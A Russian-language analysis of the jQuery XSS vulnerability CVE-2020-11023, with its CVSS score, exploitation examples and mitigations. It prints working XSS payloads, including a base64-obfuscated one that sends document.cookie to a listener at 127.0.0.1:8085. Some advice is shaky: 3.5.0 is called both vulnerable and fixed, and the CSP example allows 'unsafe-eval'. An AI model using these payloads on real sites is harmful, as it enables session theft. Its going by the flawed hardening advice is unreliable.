
Уязвимость BDU:2020-04949 (CVE-2020-11023) jQuery
Уязвимость BDU:2020-04949 (CVE-2020-11023), обнаруженная в библиотеке jQuery, связана с недостаточной обработкой пользовательских данных при манипуляциях с DOM. Она позволяет злоумышленникам выполнять межсайтовые сценарные атаки (XSS) через методы, такие как .html()
, .append()
и другие.
Анализ уязвимости
Уровень опасности: 6.9 (Средний)
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:H (Сложность атаки: Высокая) – Требуются сложные условия или манипуляции.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:R (Взаимодействие: Требуется) – Необходимы действия пользователя (например, переход по ссылке).
-
S:C (Область: Изменённая) – Влияет на другие системы/компоненты.
-
C:H (Конфиденциальность: Высокое) – Полная утечка данных.
-
I:L (Целостность: Низкое) – Незначительное изменение данных.
-
A:N (Доступность: Нет) – Нет влияния на доступность.
Интерпретация: Уязвимость средней опасности (6.9) позволяет удалённо получить доступ к конфиденциальным данным, но требует действий пользователя и сложных условий эксплуатации. Риск снижен из-за ограниченного влияния на целостность и доступность, однако угроза распространяется на другие системы (S:C).
Проблема возникает из-за некорректной обработки HTML-элементов, содержащих специальные символы (например, >
, <
, "
), при передаче в методы jQuery. Например, если злоумышленник передает строку вида /><img src=x onerror=alert(1)>
, jQuery может интерпретировать ее как валидный HTML-элемент, что приводит к выполнению произвольного JavaScript-кода.
Уязвима версия jQuery от 1.0.3 до 3.5.0.
Технический анализ эксплоитов
Рассмотрим два примера эксплуатации уязвимости:
-
Простой XSS через параметр URL
В примере сindex.php
параметрvalue
передается через GET-запрос и вставляется в атрибутtitle
элемента<img>
. При нажатии кнопки "Append via .html()" происходит следующее:function testfunc() { testvar = document.getElementById('id').innerHTML; $('#div').html(testvar); // Уязвимый метод }
Если
value
содержит/%3E%3Cimg%20src=x%20onerror=alert(1)%3E
(URL-декодируется в/><img src=x onerror=alert(1)>
), после вставки через.html()
браузер интерпретирует строку как:<img alt="<x" title="/><img src=x onerror=alert(1)>">
Символы
/>
закрывают предыдущий тег, после чего<img src=x onerror=alert(1)>
становится отдельным элементом, выполняющим JavaScript. -
Кража куки через eval и base64
Более сложный пример использует кодировку Base64 для скрытия вредоносного кода:value=/><img src=x onerror=eval(atob('...'))>
Декодированная строка
ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==
превращается в:document.location="http://127.0.0.1:8085/?c="+document.cookie
Это перенаправляет пользователя на сервер злоумышленника, передавая куки в параметре URL.
Условия эксплуатации
Для успешной атаки необходимо:
-
Наличие в системе уязвимой версии jQuery (1.0.3 – 3.5.0).
-
Возможность внедрения произвольных данных в DOM через методы jQuery (например, через параметры URL, формы, API).
-
Отсутствие дополнительной санитизации на стороне сервера или клиента.
Пример сценария: веб-приложение, которое отображает пользовательский ввод через .html()
без экранирования (например, админ-панель устройства, доступная из внутренней сети). Если злоумышленник имеет доступ к отправке данных (через форму или URL), он может внедрить XSS-вектор.
Где используется jQuery?
jQuery применяется в 75% веб-сайтов (по данным W3Techs), включая:
-
CMS (WordPress, Drupal).
-
Веб-интерфейсы сетевых устройств (роутеры, камеры).
-
Корпоративные системы и админ-панели.
Пример уязвимого кода
<div id="content"></div> <script> let userInput = "<img alt='x' title='/><script>alert(1)</script>'>"; $('#content').html(userInput); // XSS сработает здесь </script>
Способы защиты
-
Обновление jQuery
Используйте версию 3.5.0 или новее, где проблема исправлена:<script src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
-
Санитизация данных
Всегда экранируйте пользовательский ввод с помощью функций, таких какencodeURIComponent()
или библиотек (DOMPurify):$('#div').html(DOMPurify.sanitize(userInput));
-
Content Security Policy (CSP)
Добавьте заголовок CSP для блокировки выполнения inline-скриптов:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval';
-
Проверка входных данных
На стороне сервера:$value = htmlspecialchars($_GET['value'], ENT_QUOTES, 'UTF-8');
